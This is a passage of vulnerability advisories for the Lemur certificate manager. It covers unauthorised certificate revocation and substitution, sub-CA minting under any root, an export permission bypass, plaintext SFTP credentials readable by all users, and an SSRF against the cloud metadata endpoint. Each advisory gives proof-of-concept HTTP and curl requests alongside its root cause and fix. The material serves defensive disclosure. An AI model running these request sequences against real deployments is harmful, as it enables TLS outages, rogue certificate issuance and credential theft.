Summary

Repo under test: https://github.com/Netflix/lemur

PUT /api/1/certificates/<id>/revoke authorizes the caller against the Lemur database row (creator == current user, or CertificatePermission over the row's roles) rather than the underlying CA-side certificate identity. Separately, POST /api/1/certificates/upload lets any user passing StrictRolePermission create a new Certificate row while freely supplying body, authority (resolved by id/name with no AuthorityPermission check) and external_id; there is no uniqueness constraint on body, serial, or external_id.

An attacker can therefore read a target certificate's public body, authority.id, and external_id via GET /certificates/<id>, upload a duplicate row, and revoke that duplicate. The creator-bypass skips CertificatePermission, the empty-endpoints check passes because the duplicate has none, and service.revoke() then revokes at the CA using the attacker-supplied body (ACME) or external_id (DigiCert/Entrust/Google CA/CFSSL) under the authority's stored CA credentials — revoking the real production certificate.

Affected route

POST /api/1/certificates/upload → PUT /api/1/certificates/<dup_id>/revoke

Affected code

• lemur/certificates/views.py:651 — only StrictRolePermission().can() gates upload; no AuthorityPermission check
• lemur/certificates/schemas.py:391 — CertificateUploadInputSchema accepts caller-supplied authority and external_id
• lemur/schemas.py:107 — AssociatedAuthoritySchema resolves any authority by id/name with no permission check
• lemur/certificates/service.py:489 — upload() binds the caller-supplied authority onto the new row
• lemur/certificates/models.py:119 — only name is unique; body/serial/external_id are not, and get_or_increase_name() auto-suffixes on collision
• lemur/certificates/views.py:1677 — if g.current_user != cert.user: ... CertificatePermission ... — creator of the duplicate row bypasses the owner check
• lemur/certificates/views.py:1687 — if cert.endpoints: ... — duplicate row has no endpoints, so the deployed-cert safeguard is bypassed
• lemur/certificates/service.py:1120 — plugin = plugins.get(certificate.authority.plugin_name); plugin.revoke_certificate(certificate, reason)
• lemur/plugins/lemur_acme/acme_handlers.py:268 — ACME revokes by certificate.body
• lemur/plugins/lemur_digicert/plugin.py:477, lemur/plugins/lemur_entrust/plugin.py:321 — commercial CAs revoke by certificate.external_id
• lemur/certificates/schemas.py:290 — CertificateOutputSchema exposes external_id, body, authority to any authenticated user

Impact

A low-privileged authenticated insider (or holder of a stolen non-admin token/API key) can revoke any certificate managed by Lemur — including high-value certificates they do not own and certificates currently attached to live endpoints — directly at the issuing CA. Iterating over GET /certificates yields fleet-wide revocation (mass DoS of TLS endpoints) without ever passing an AuthorityPermission or CertificatePermission check on the victim certificate. This is exactly the "Revocation as DoS vector" scenario flagged in the threat model and additionally defeats the built-in "cannot revoke while attached to endpoint" safeguard.

Root cause

Revocation authority is bound to ownership of the Lemur DB row, not to the CA-side certificate identity. Because upload allows creating a second row that aliases the same CA-side certificate (same body / external_id / authority) without any uniqueness constraint or AuthorityPermission check, the attacker can manufacture a row they own and then exercise the creator-bypass on revoke. The endpoint-attached guard inspects only the duplicate row's cert.endpoints, which is empty.

Validated evidence

Static path trace, confirmed by code inspection (validation status: CONFIRMED):

• Upload is gated only by StrictRolePermission (default-open to any non-read-only user) and accepts attacker-chosen authority + external_id + body without an AuthorityPermission check.
• Certificate.body / external_id have no uniqueness constraint, so a duplicate row is created.
• The revoke endpoint short-circuits the owner check when caller is the row creator, and the endpoint-attached guard inspects only the duplicate row.
• Issuer plugins revoke at the CA using body / external_id taken from the duplicate row under the authority's stored CA credentials.

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA — revoking at a real CA is destructive).

Preconditions: attacker is an authenticated Lemur user holding any role other than read-only. <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.

# 1. Read the victim's body / authority / external_id (exposed to any authenticated user)
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  | jq '{body, external_id, authority: .authority.id}'

# 2. Upload a duplicate row aliasing the same CA-side certificate
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "victim-dup",
        "owner": "attacker@example.com",
        "body": "<VICTIM_BODY_PEM>",
        "authority": {"id": <VICTIM_AUTHORITY_ID>},
        "externalId": "<VICTIM_EXTERNAL_ID>"
      }'
# → returns {"id": <DUP_ID>, ...}; attacker is now cert.user of <DUP_ID>

# 3. Revoke the duplicate — issuer plugin revokes at the CA by body/external_id
curl -sS -X PUT "<TARGET_BASE_URL>/api/1/certificates/<DUP_ID>/revoke" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"crlReason": "unspecified"}'

Static-trace validation command from the source report:

grep -n 'StrictRolePermission' lemur/certificates/views.py | grep -v Authority
grep -n 'cert.authority = kwargs.get' lemur/certificates/service.py
grep -n 'g.current_user != cert.user' lemur/certificates/views.py
grep -n 'certificate.external_id\|certificate.body' \
  lemur/plugins/lemur_acme/acme_handlers.py \
  lemur/plugins/lemur_digicert/plugin.py \
  lemur/plugins/lemur_entrust/plugin.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_050, finding cluster lemur-revoke-via-duplicate, 2/100 runs).

Suggested fix

Decouple CA-side revocation authority from Lemur row ownership:

1. On POST /certificates/upload, if authority is supplied enforce AuthorityPermission for that authority, and reject/ignore caller-supplied external_id.
2. Before calling plugin.revoke_certificate, look up all Certificate rows sharing the same (authority_id, serial) or body and require CertificatePermission on every match (and run the endpoint-attached check against all matches).
3. Consider a DB uniqueness constraint or dedup on (authority_id, serial) so a second row for the same CA-issued certificate cannot be created.
4. Stop exposing external_id in CertificateOutputSchema to non-owners.

Summary

The CertificateExport handler in lemur/certificates/views.py nests its entire ownership / CertificatePermission check inside an if plugin.requires_key: branch. When the selected export plugin advertises requires_key = False, the authorization check is skipped entirely and any authenticated user can invoke plugin.export(cert.body, cert.chain, cert.private_key, options) against a certificate they do not own. The handler additionally writes a "key_view" audit-log event for every call, regardless of whether the plugin actually accessed the private key, polluting the audit trail with false positives.

Root Cause

lemur/certificates/views.py:1573:

if plugin.requires_key:
    if not cert.private_key:
        return (..., 400)
    else:
        if g.current_user != cert.user:
            owner_role = role_service.get_by_name(cert.owner)
            permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
            if not permission.can():
                return (..., 403)
 
log_service.create(g.current_user, "key_view", certificate=cert)   # always logged
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)

The authorization gate is structurally inside the if plugin.requires_key: block. With requires_key = False, control falls straight through to plugin.export(...) with no ownership check. The cert.private_key is passed to the plugin regardless of the flag — the flag only describes what the plugin advertises it needs, not what it actually receives.

The only currently shipping ExportPlugin with requires_key = False is JavaTruststoreExportPlugin (lemur/plugins/lemur_jks/plugin.py), whose export() ignores the key argument and emits a public-only Java truststore. The present-day data exposure is therefore limited to public certificate material. The bug is nonetheless filed as a real authorization gap because:

1. The structural defect is latent and silent - any future requires_key = False ExportPlugin that does read cert.private_key will inherit the bypass with no test or code-review signal.
2. The unconditional log_service.create(..., "key_view", ...) call falsely records key-view events for callers who never viewed a key, weakening incident-response signal.

Affected Endpoints

| Method | Path | Source | |---|---|---| | POST | /api/1/certificates/<id>/export | lemur/certificates/views.py:1573 |

Impact

In the current codebase:

• Any authenticated user can mint a Java truststore (java-truststore-jks plugin) containing any certificate's public body and chain, without owning the certificate or holding a role with permission over it.
• The audit log records a key_view event for the calling user against that certificate, despite no private key having been accessed. Defenders investigating apparent key-view events will encounter false positives that they cannot distinguish from genuine accesses.

Latent risk:

• A future ExportPlugin author who sets requires_key = False because their plugin can operate without a key (e.g., for a fall-back code path) but still uses the key when one is provided will silently leak private keys to any authenticated user. The same code review that approves the plugin will not flag this — the authorization invariant is held by a structurally distant if-branch in the view, not by the plugin itself.

Remediation

Lift the authorization check out of the if plugin.requires_key: block so it runs for every export call:

# Authorization first, unconditionally.
if g.current_user != cert.user:
    owner_role = role_service.get_by_name(cert.owner)
    permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
    if not permission.can():
        return (dict(message="You are not authorized to export this certificate."), 403)
 
if plugin.requires_key:
    if not cert.private_key:
        return (dict(message="Plugin requires a key but none is present."), 400)
    log_service.create(g.current_user, "key_view", certificate=cert)   # only when key actually accessed
 
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)

This makes the authorization gate independent of the plugin's requires_key flag and correctly scopes the key_view audit event to calls that actually involve key access.

Steps to Reproduce

1. Set up Lemur with default configuration. Create an admin user admin and a non-admin user eve with the read-only role (or any role without certificate permissions).

2. As admin, issue a certificate. Note its id.

3. As eve, invoke export with the java-truststore-jks plugin:

   curl -X POST https://lemur.local/api/1/certificates/<cert_id>/export \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d '{
              "plugin": {
                "slug": "java-truststore-jks",
                "plugin_options": [
                  {"name": "passphrase", "value": "test"}
                ]
              }
            }'

4. Observe HTTP 200 with a base64-encoded JKS truststore in the response. eve had no permission over admin's certificate, yet successfully exported its public material.

5. Inspect the audit log table or lemur logs list:

   psql lemur -c "SELECT user_id, log_type, certificate_id, logged_at FROM logs
                  WHERE certificate_id = <cert_id> ORDER BY logged_at DESC LIMIT 1;"

The log row shows log_type = 'key_view' for eve against admin's certificate, despite no private key actually being accessed by the truststore plugin - confirming the audit-log pollution facet of the bug.

Summary

Repo under test: https://github.com/Netflix/lemur

When ADMIN_ONLY_AUTHORITY_CREATION=False (an explicitly supported and documented configuration), POST /api/1/authorities with type=subca never verifies that the caller holds AuthorityPermission on the supplied parent authority. The parent field is resolved by AssociatedAuthoritySchema via a raw fetch_objects(Authority, data) lookup, then passed straight through service.create → mint → cryptography-issuer.create_authority, which loads options["parent"].authority_certificate.private_key and signs a brand-new intermediate CA on the caller's behalf.

Any authenticated non-read-only user can therefore mint a sub-CA chained to any internal root whose private key Lemur holds — including roots they hold no role on — attach a role they already belong to, and immediately issue or offline-sign trusted leaf certificates for arbitrary names.

Affected route

POST /api/1/authorities (with type=subca)

Affected code

• lemur/authorities/views.py:231 — gates only on AuthorityCreatorPermission() + StrictRolePermission(); no AuthorityPermission on data['parent']
• lemur/authorities/schemas.py:58 — parent = fields.Nested(AssociatedAuthoritySchema); validate_subca only checks presence
• lemur/schemas.py:107 — AssociatedAuthoritySchema.get_object → fetch_objects(Authority, data) resolves any authority by id/name with no permission check
• lemur/plugins/lemur_cryptography/plugin.py:40 — private_key = options["authority"].authority_certificate.private_key (set from options["parent"]) signs the new intermediate
• lemur/auth/permissions.py:62 — AuthorityCreatorPermission becomes always-allow when ADMIN_ONLY_AUTHORITY_CREATION=False
• lemur/certificates/views.py:538 — is_private_authority (true for cryptography-issuer) skips USER_DOMAIN_AUTHORIZATION_PROVIDER for subsequent leaf issuance

Impact

In deployments that set ADMIN_ONLY_AUTHORITY_CREATION=False to enable self-service CA creation, any authenticated non-read-only user — with zero permission on a given internal root CA — can obtain a working intermediate CA chained to that root. They can then:

• Issue TLS certificates for arbitrary names trusted by every relying party that trusts the internal root, bypassing LEMUR_ALLOWED_DOMAINS, sensitive-domain flags, and the per-user domain-authorization plugin.
• Export the sub-CA private key and sign end-entity certificates entirely outside Lemur, defeating all in-product issuance controls.

This converts "can create a self-contained test CA" into "can mint trusted certs under any internal PKI root in the organisation". The ADMIN_ONLY_AUTHORITY_CREATION documentation does not warn operators of this consequence.

Root cause

AuthoritiesList.post evaluates AuthorityCreatorPermission (a global "may create authorities" flag) and StrictRolePermission, but never evaluates AuthorityPermission(parent.id, parent.roles) against the caller-supplied parent. AssociatedAuthoritySchema is a pure lookup schema with no authz hook, and neither authorities.service.create nor mint re-check before invoking issuer_plugin.create_authority(options). The bundled cryptography-issuer then uses the parent's stored private key directly.

Validated evidence

Static trace, confirmed by code inspection (validation status: CONFIRMED):

• parent is loaded via AssociatedAuthoritySchema (raw fetch_objects), passed unchecked through views.post → service.create → mint → plugin.create_authority → issue_certificate, where the parent authority's stored private key is read and used to sign the new intermediate.
• No call to AuthorityPermission(parent.id, ...) exists anywhere on this path.
• Precondition ADMIN_ONLY_AUTHORITY_CREATION=False is an explicitly supported config (docs/administration.rst:517).

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: ADMIN_ONLY_AUTHORITY_CREATION=False; attacker is an authenticated Lemur user holding any role other than read-only; <PARENT_AUTHORITY_ID> is any internal cryptography-issuer root CA the attacker holds no role on; <ATTACKER_ROLE> is any role the attacker already belongs to.

curl -sS -X POST "<TARGET_BASE_URL>/api/1/authorities" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-subca",
        "owner": "attacker@example.com",
        "description": "poc",
        "type": "subca",
        "parent": {"id": <PARENT_AUTHORITY_ID>},
        "plugin": {"slug": "cryptography-issuer"},
        "roles": [{"name": "<ATTACKER_ROLE>"}],
        "commonName": "attacker-intermediate",
        "validityYears": 1
      }'

The response contains a new authority whose authority_certificate is signed by <PARENT_AUTHORITY_ID>'s private key. The caller is recorded as creator and holds <ATTACKER_ROLE> on it, so POST /api/1/certificates against the new authority succeeds (and skips allowed_issuance_for_domain because is_private_authority is true).

Static-trace validation command from the source report:

grep -n 'parent' lemur/authorities/schemas.py lemur/authorities/views.py lemur/authorities/service.py \
  && sed -n '37,55p' lemur/plugins/lemur_cryptography/plugin.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_022, finding cluster lemur-subca-parent-authz, 5/100 runs).

Suggested fix

In AuthoritiesList.post (or authorities.service.create), when data.get('parent') is present, enforce AuthorityPermission(parent.id, [r.name for r in parent.roles]).can() before invoking the issuer plugin, regardless of ADMIN_ONLY_AUTHORITY_CREATION. Additionally, update the ADMIN_ONLY_AUTHORITY_CREATION documentation to state that disabling it currently grants every authenticated user the ability to chain sub-CAs off any internal root whose private key Lemur holds. Consider also requiring admin (or an explicit per-parent capability) for any type=subca creation independent of the global flag.

Summary

Repo under test: https://github.com/Netflix/lemur

The certificate create and upload endpoints accept a replaces[] (alias replacements) array that is resolved to live Certificate ORM objects with no ownership or CertificatePermission check on the referenced certificates. The SQLAlchemy Certificate.replaces append listener then immediately sets victim.notify = False and populates victim.replaced. From that point the victim certificate is excluded from auto-reissue, its expiration notifications are silenced, and the periodic certificate_rotate Celery task deploys the attacker's certificate (endpoint.certificate.replaced[0]) onto every endpoint serving the victim certificate.

Any authenticated non-read-only user can therefore silently substitute their own certificate onto production load balancers and Kubernetes secrets they hold no role on, while suppressing the legitimate certificate's lifecycle automation.

Affected route

POST /api/1/certificates POST /api/1/certificates/upload PUT /api/1/certificates/<id>

Affected code

• lemur/certificates/schemas.py:402 — replaces = fields.Nested(AssociatedCertificateSchema, missing=[], many=True) accepted on create/upload/edit
• lemur/schemas.py:152 — AssociatedCertificateSchema resolves any certificate by id/name via fetch_objects(Certificate, data) with no permission check
• lemur/certificates/views.py:651 — only StrictRolePermission().can() gates /certificates/upload; no check on data['replaces']
• lemur/certificates/models.py:506 — @event.listens_for(Certificate.replaces, 'append') sets value.notify = False on the victim
• lemur/certificates/service.py:277 — get_all_pending_reissue() filters not_(Certificate.replaced.any()), excluding the victim
• lemur/certificates/cli.py:347 — request_rotation(endpoint, endpoint.certificate.replaced[0], message, commit) deploys the attacker cert
• lemur/common/celery.py:638 — periodic certificate_rotate task runs cli_certificate.rotate(..., commit=True)
• lemur/deployment/service.py:17 — endpoint.source.plugin.update_endpoint(endpoint, new_cert) pushes to ELB/CloudFront/ACM/K8s

Impact

An authenticated insider or holder of a stolen low-privilege token can, without holding any role on a target certificate:

1. Upload a self-signed or attacker-minted certificate listing arbitrary high-value production certificate IDs in replaces.
2. Immediately disable expiration notifications and auto-reissue for those production certificates.
3. On the next scheduled certificate_rotate Celery run, have the attacker's certificate pushed to every endpoint (AWS ELB/CloudFront/ACM, Kubernetes, SFTP, etc.) currently serving the victim certificate, while the legitimate certificate is detached.

Minimum impact is fleet-wide TLS denial of service equivalent to mass revocation. Where internal clients trust the substituted chain (or combined with the sub-CA finding LEMUR-BUG-07), it escalates to TLS interception. This directly violates the invariant that a user may only modify or revoke a certificate if they are its owner, a member of an owning role, or an administrator.

Root cause

AssociatedCertificateSchema.get_object calls fetch_objects(Certificate, data) and returns the ORM rows verbatim. No caller on the create/upload/edit path iterates the resolved replaces list to enforce CertificatePermission before the model assigns them, and the Certificate.replaces append event listener mutates the victim row (notify = False) as a side effect of ORM collection assignment. The direct revoke endpoint does enforce CertificatePermission, but this replaces path achieves an equivalent or worse outcome while bypassing it entirely.

Validated evidence

Static trace, confirmed by code inspection (validation status: CONFIRMED):

• replaces is accepted in CertificateInputSchema / CertificateUploadInputSchema and resolved via fetch_objects(Certificate, ...) with no per-object authorization.
• grep -n CertificatePermission lemur/certificates/views.py shows the check is applied to PUT/DELETE/revoke/export paths but never to the replaces payload of POST /certificates or POST /certificates/upload.
• The Celery certificate_rotate task and cli.rotate() consume Endpoint.replaced.any() unconditionally and deploy replaced[0] with commit=True.

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: attacker is an authenticated Lemur user holding any role other than read-only (default StrictRolePermission config). <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.

# 1. Upload an attacker-controlled cert that "replaces" the victim
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-replacement",
        "owner": "attacker@example.com",
        "body": "-----BEGIN CERTIFICATE-----\n<ATTACKER_CERT_PEM>\n-----END CERTIFICATE-----",
        "privateKey": "-----BEGIN PRIVATE KEY-----\n<ATTACKER_KEY_PEM>\n-----END PRIVATE KEY-----",
        "replaces": [{"id": <VICTIM_CERT_ID>}]
      }'

# 2. Observe victim.notify is now false and victim is queued for rotation
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" | jq '.notify, .replaced'

# 3. On the next certificate_rotate Celery beat tick, the attacker cert is
#    deployed to every endpoint that was serving <VICTIM_CERT_ID>.

Static-trace validation command from the source report:

grep -n 'replaces' lemur/certificates/schemas.py lemur/certificates/views.py lemur/schemas.py \
  && grep -n 'CertificatePermission' lemur/certificates/views.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_083, finding cluster lemur-replaces-unauth, 7/100 runs).

Suggested fix

Before persisting replaces/replacements on certificate create, upload, and edit, iterate each referenced certificate and enforce the same CertificatePermission(owner_role, cert.roles) check used by the revoke endpoint (views.py:1677-1685); reject with 403 if the caller is not creator/owner/role-member/admin for any target. Additionally, move the value.notify = False side effect out of the SQLAlchemy append listener so an authorization failure cannot leave a victim certificate partially mutated, and emit an audit_log entry whenever a certificate is marked as replaced.

Summary

Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @admin_permission.require(http_exception=403), but the two read handlers are protected only by login_required (inherited from AuthenticatedResource). They do not even exclude read-only users.

The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.

Details

Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py

class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # <-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # <-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py

class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemur_sftp/plugin.py

"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC

Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:

{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:

GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact

Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with admin_permission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.

Summary

The fix for GHSA-v2wp-frmc-5q3v added _validate_acme_url() to reject acme_url values not in ACME_DIRECTORY_HOST_ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme_url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme_url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

Details

Where the fix lives (POST path -- protected):

lemur/plugins/lemur_acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create_authority):

for option in plugin_options:
    if option.get("name") == "certificate":
        acme_root = option.get("value")
    if option.get("name") == "acme_url":
        _validate_acme_url(option.get("value", ""))   # allowlist enforced

_validate_acme_url at line 35:

def _validate_acme_url(url):
    """Reject acme_url values that are not in the configured allowlist.

    Called at authority creation time only -- existing authorities in the DB
    were already trusted when they were created and are not re-validated.
    """
    allowed_hosts = current_app.config.get(
        "ACME_DIRECTORY_HOST_ALLOWLIST",
        {"acme-v02.api.letsencrypt.org", ...},
    )
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(...)

Where the gap is (PUT path -- unprotected):

lemur/authorities/views.py lines 405-424 (Authorities.put):

authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)

if not permission.can() or not StrictRolePermission().can():
    return dict(message="You are not authorized to update this authority."), 403

return service.update(
    authority_id,
    owner=data["owner"],
    description=data["description"],
    active=data["active"],
    roles=data["roles"],
    options=data.get("options")        # stored verbatim -- no ACME URL check
)

lemur/authorities/service.py lines 28-46 (update):

def update(authority_id, description, owner, active, roles, options=None):
    authority = get(authority_id)
    authority.roles = roles
    authority.active = active
    authority.description = description
    authority.owner = owner
    if options:
        authority.options = options    # written to DB with no _validate_acme_url call
    return database.update(authority)

Where the SSRF sink is:

lemur/plugins/lemur_acme/acme_handlers.py lines 157-188:

for option in json.loads(authority.options):
    options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL

With the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme_url with an arbitrary URL. The allowlist enforced at creation is silently discarded.

PoC

Prerequisites:

• Lemur 1.9.2, default config (LEMUR_STRICT_ROLE_ENFORCEMENT not set, defaults to False)
• Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
• Attacker has a valid Lemur session token

Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):

POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}

Response (truncated):

{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Step 2 -- Confirm identity (non-admin, no global operator role):

GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:

{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}

Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:

PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "security@example.com",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}

Response (HTTP 200 -- no validation error):

{
  "id": 1,
  "name": "TestRootCA",
  "description": "Let's Encrypt Production",
  "options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
  ...
}

Live validation output (observed on Lemur 1.9.2, 2026-06-19):

User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']

PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"

Step 4 -- Trigger SSRF:

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup_acme_client(), which executes:

directory_url = options.get("acme_url", ...)  # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net)  # outbound request

The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

Suggested fix:

Call _validate_acme_url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:

# in lemur/authorities/service.py  update()
if options:
    from lemur.plugins.lemur_acme.plugin import _validate_acme_url
    import json
    for opt in json.loads(options) if isinstance(options, str) else options:
        if opt.get("name") == "acme_url":
            _validate_acme_url(opt.get("value", ""))
    authority.options = options

Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme_url with an arbitrary URL, bypassing the ACME_DIRECTORY_HOST_ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.

Summary

